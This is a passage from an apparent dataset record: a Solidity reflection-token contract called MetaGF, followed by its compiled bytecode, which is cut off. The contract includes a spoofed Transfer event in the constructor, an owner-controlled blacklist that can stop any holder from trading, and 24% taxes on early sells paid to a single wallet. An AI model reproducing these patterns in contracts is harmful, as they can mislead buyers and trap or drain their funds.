string private constant _symbol = "MetaGF";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private maxWalletAmount = _tTotal * 50 / 1000;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x9feF50D7Bb4F1c5d8c2E2D5469f25F1c1cF27674);
_feeAddrWallet2 = payable(0x9feF50D7Bb4F1c5d8c2E2D5469f25F1c1cF27674);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0xdf75bB437c78922318588d817994115c96FC71c4), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function originalPurchase(address account) public view returns (uint256) {
return _buyMap[account];
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() {
_maxTxAmount = maxTransactionAmount;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isBuy(from)) {
if (_buyMap[from] != 0 &&
(_buyMap[from] + (12 hours) >= block.timestamp)) {
_feeAddr1 = 2;
_feeAddr2 = 22;
} else {
_feeAddr1 = 1;
_feeAddr2 = 11;
}
} else {
if (_buyMap[to] == 0) {
_buyMap[to] = block.timestamp;
}
_feeAddr1 = 1;
_feeAddr2 = 11;
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(cooldown[to] < block.timestamp);
require(amount <= _maxTxAmount);
require(balanceOf(to) + amount <= maxWalletAmount, "Max wallet exceeded");
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 30000000000 * 10 ** 9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1000000000000 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function updateMaxTx (uint256 fee) public onlyOwner {
_maxTxAmount = fee;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c2d0ffca1161006f578063c2d0ffca146103d7578063c3c8cd8014610400578063c9567bf914610417578063cc653b441461042e578063dd62ed3e1461046b578063ff872602146104a857610135565b80638da5cb5b146102f257806395d89b411461031d578063a9059cbb14610348578063b515566a14610385578063bc337182146103ae57610135565b8063313ce567116100f2578063313ce567146102335780635932ead11461025e5780636fc3eaec1461028757806370a082311461029e578063715018a6146102db57610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063273123b71461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104bf565b60405161015c9190612f27565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612a6d565b6104fc565b6040516101999190612f0c565b60405180910390f35b3480156101ae57600080fd5b506101b761051a565b6040516101c491906130a9565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190612a1e565b61052b565b6040516102019190612f0c565b60405180910390f35b34801561021657600080fd5b50610231600480360381019061022c9190612990565b610604565b005b34801561023f57600080fd5b506102486106f4565b604051610255919061311e565b60405180910390f35b34801561026a57600080fd5b5061028560048036038101906102809190612aea565b6106fd565b005b34801561029357600080fd5b5061029c6107af565b005b3480156102aa57600080fd5b506102c560048036038101906102c09190612990565b610821565b6040516102d291906130a9565b60405180910390f35b3480156102e757600080fd5b506102f0610872565b005b3480156102fe57600080fd5b506103076109c5565b6040516103149190612e3e565b60405180910390f35b34801561032957600080fd5b506103326109ee565b60405161033f9190612f27565b60405180910390f35b34801561035457600080fd5b5061036f600480360381019061036a9190612a6d565b610a2b565b60405161037c9190612f0c565b60405180910390f35b34801561039157600080fd5b506103ac60048036038101906103a79190612aa9565b610a49565b005b3480156103ba57600080fd5b506103d560048036038101906103d09190612b3c565b610b99565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190612b3c565b610c38565b005b34801561040c57600080fd5b50610415610cd7565b005b34801561042357600080fd5b5061042c610d51565b005b34801561043a57600080fd5b5061045560048036038101906104509190612990565b6112ae565b60405161046291906130a9565b60405180910390f35b34801561047757600080fd5b50610492600480360381019061048d91906129e2565b6112f7565b60405161049f91906130a9565b60405180910390f35b3480156104b457600080fd5b506104bd61137e565b005b60606040518060400160405280601081526020017f4d657461204769726c667269656e647300000000000000000000000000000000815250905090565b6000610510610509611425565b848461142d565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105388484846115f8565b6105f984610544611425565b6105f4856040518060600160405280602881526020016137b960289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105aa611425565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca59092919063ffffffff16565b61142d565b600190509392505050565b61060c611425565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610699576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069090612fe9565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610705611425565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610792576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078990612fe9565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107f0611425565b73ffffffffffffffffffffffffffffffffffffffff161461081057600080fd5b600047905061081e81611d09565b50565b600061086b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e04565b9050919050565b61087a611425565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fe90612fe9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4d65746147460000000000000000000000000000000000000000000000000000815250905090565b6000610a3f610a38611425565b84846115f8565b6001905092915050565b610a51611425565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ade576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad590612fe9565b60405180910390fd5b60005b8151811015610b9557600160076000848481518110610b29577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b8d906133bf565b915050610ae1565b5050565b610ba1611425565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2590612fe9565b60405180910390fd5b8060118190555050565b610c40611425565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ccd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc490612fe9565b60405180910390fd5b8060118190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d18611425565b73ffffffffffffffffffffffffffffffffffffffff1614610d3857600080fd5b6000610d4330610821565b9050610d4e81611e72565b50565b610d59611425565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddd90612fe9565b60405180910390fd5b601060149054906101000a900460ff1615610e36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2d90613069565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ec630600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061142d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f0c57600080fd5b505afa158015610f20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4491906129b9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fa657600080fd5b505afa158015610fba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fde91906129b9565b6040518363ffffffff1660e01b8152600401610ffb929190612e59565b602060405180830381600087803b15801561101557600080fd5b505af1158015611029573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104d91906129b9565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110d630610821565b6000806110e16109c5565b426040518863ffffffff1660e01b815260040161110396959493929190612eab565b6060604051808303818588803b15801561111c57600080fd5b505af1158015611130573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111559190612b65565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff0219169083151502179055506801a055690d9db800006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611258929190612e82565b602060405180830381600087803b15801561127257600080fd5b505af1158015611286573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112aa9190612b13565b5050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611386611425565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611413576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140a90612fe9565b60405180910390fd5b683635c9adc5dea00000601181905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490613049565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150490612f89565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115eb91906130a9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611668576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165f90613029565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cf90612f49565b60405180910390fd5b6000811161171b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171290613009565b60405180910390fd5b6117248361216c565b6117f4576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141580156117c457504261a8c0600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c191906131df565b10155b156117de576002600b819055506016600c819055506117ef565b6001600b81905550600b600c819055505b611892565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156118815742600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600b81905550600b600c819055505b61189a6109c5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561190857506118d86109c5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c9557600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119b15750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ba57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a655750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611abb5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ad35750601060179054906101000a900460ff165b15611bdb5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611b2357600080fd5b601154811115611b3257600080fd5b60125481611b3f84610821565b611b4991906131df565b1115611b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8190613089565b60405180910390fd5b601e42611b9791906131df565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611be630610821565b9050601060159054906101000a900460ff16158015611c535750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6b5750601060169054906101000a900460ff165b15611c9357611c7981611e72565b60004790506000811115611c9157611c9047611d09565b5b505b505b611ca08383836121c6565b505050565b6000838311158290611ced576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce49190612f27565b60405180910390fd5b5060008385611cfc91906132c0565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d596002846121d690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d84573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611dd56002846121d690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e00573d6000803e3d6000fd5b5050565b6000600954821115611e4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4290612f69565b60405180910390fd5b6000611e55612220565b9050611e6a81846121d690919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ed0577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611efe5781602001602082028036833780820191505090505b5090503081600081518110611f3c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fde57600080fd5b505afa158015611ff2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061201691906129b9565b81600181518110612050577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120b730600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461142d565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161211b9594939291906130c4565b600060405180830381600087803b15801561213557600080fd5b505af1158015612149573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6121d183838361224b565b505050565b600061221883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612416565b905092915050565b600080600061222d612479565b9150915061224481836121d690919063ffffffff16565b9250505090565b60008060008060008061225d876124db565b9550955095509550955095506122bb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061235085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061239c816125eb565b6123a684836126a8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161240391906130a9565b60405180910390a3505050505050505050565b6000808311829061245d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124549190612f27565b60405180910390fd5b506000838561246c9190613235565b9050809150509392505050565b600080600060095490506000683635c9adc5dea0000090506124af683635c9adc5dea000006009546121d690919063ffffffff16565b8210156124ce57600954683635c9adc5dea000009350935050506124d7565b81819350935050505b9091565b60008060008060008060008060006124f88a600b54600c546126e2565b9250925092506000612508612220565b9050600080600061251b8e878787612778565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061258583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ca5565b905092915050565b600080828461259c91906131df565b9050838110156125e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d890612fa9565b60405180910390fd5b8091505092915050565b60006125f5612220565b9050600061260c828461280190919063ffffffff16565b905061266081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126bd8260095461254390919063ffffffff16565b6009819055506126d881600a5461258d90919063ffffffff16565b600a819055505050565b60008060008061270e6064612700888a61280190919063ffffffff16565b6121d690919063ffffffff16565b90506000612738606461272a888b61280190919063ffffffff16565b6121d690919063ffffffff16565b9050600061276182612753858c61254390919063ffffffff16565b61254390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612791858961280190919063ffffffff16565b905060006127a8868961280190919063ffffffff16565b905060006127bf878961280190919063ffffffff16565b905060006127e8826127da858761254390919063ffffffff16565b61254390919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156128145760009050612876565b600082846128229190613266565b90508284826128319190613235565b14612871576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286890612fc9565b60405180910390fd5b809150505b92915050565b600061288f61288a8461315e565b613139565b905080838252602082019050828560208602820111156128ae57600080fd5b60005b858110156128de57816128c488826128e8565b8452602084019350602083019250506001810190506128b1565b5050509392505050565b6000813590506128f781613773565b92915050565b60008151905061290c81613773565b92915050565b600082601f83011261292357600080fd5b813561293384826020860161287c565b91505092915050565b60008135905061294b8161378a565b92915050565b6000815190506129608161378a565b92915050565b600081359050612975816137a1565b92915050565b60008151905061298a816137a1565b92915050565b6000602082840312156129a257600080fd5b60006129b0848285016128e8565b91505092915050565b6000602082840312156129cb57600080fd5b60006129d9848285016128fd565b91505092915050565b600080604083850312156129f557600080fd5b6000612a03858286016128e8565b9250506020612a14858286016128e8565b9150509250929050565b600080600060608486031215612a3357600080fd5b6000612a41868287016128e8565b9350506020612a52868287016128e8565b9250506040612a6386828701612966565b9150509250925092565b60008060408385031215612a8057600080fd5b6000612a8e858286016128e8565b9250506020612a9f85828601612966565b9150509250929050565b600060208284031215612abb57600080fd5b600082013567ffffffffffffffff811115612ad557600080fd5b612ae184828501612912565b91505092915050565b600060208284031215612afc57600080fd5b6000612b0a8482850161293c565b91505092915050565b600060208284031215612b2557600080fd5b6000612b3384828501612951565b91505092915050565b600060208284031215612b4e57600080fd5b6000612b5c84828501612966565b91505092915050565b600080600060608486031215612b7a57600080fd5b6000612b888682870161297b565b9350506020612b998682870161297b565b9250506040612baa8682870161297b565b9150509250925092565b6000612bc08383612bcc565b60208301905092915050565b612bd5816132f4565b82525050565b612be4816132f4565b82525050565b6000612bf58261319a565b612bff81856131bd565b9350612c0a8361318a565b8060005b83811015612c3b578151612c228882612bb4565b9750612c2d836131b0565b925050600181019050612c0e565b5085935050505092915050565b612c5181613306565b82525050565b612c6081613349565b82525050565b6000612c71826131a5565b612c7b81856131ce565b9350612c8b81856020860161335b565b612c9481613495565b840191505092915050565b6000612cac6023836131ce565b9150612cb7826134a6565b604082019050919050565b6000612ccf602a836131ce565b9150612cda826134f5565b604082019050919050565b6000612cf26022836131ce565b9150612cfd82613544565b604082019050919050565b6000612d15601b836131ce565b9150612d2082613593565b602082019050919050565b6000612d386021836131ce565b9150612d43826135bc565b604082019050919050565b6000612d5b6020836131ce565b9150612d668261360b565b602082019050919050565b6000612d7e6029836131ce565b9150612d8982613634565b604082019050919050565b6000612da16025836131ce565b9150612dac82613683565b604082019050919050565b6000612dc46024836131ce565b9150612dcf826136d2565b604082019050919050565b6000612de76017836131ce565b9150612df282613721565b602082019050919050565b6000612e0a6013836131ce565b9150612e158261374a565b602082019050919050565b612e2981613332565b82525050565b612e388161333c565b82525050565b6000602082019050612e536000830184612bdb565b92915050565b6000604082019050612e6e6000830185612bdb565b612e7b6020830184612bdb565b9392505050565b6000604082019050612e976000830185612bdb565b612ea46020830184612e20565b9392505050565b600060c082019050612ec06000830189612bdb565b612ecd6020830188612e20565b612eda6040830187612c57565b612ee76060830186612c57565b612ef46080830185612bdb565b612f0160a0830184612e20565b979650505050505050565b6000602082019050612f216000830184612c48565b92915050565b60006020820190508181036000830152612f418184612c66565b905092915050565b60006020820190508181036000830152612f6281612c9f565b9050919050565b60006020820190508181036000830152612f8281612cc2565b9050919050565b60006020820190508181036000830152612fa281612ce5565b9050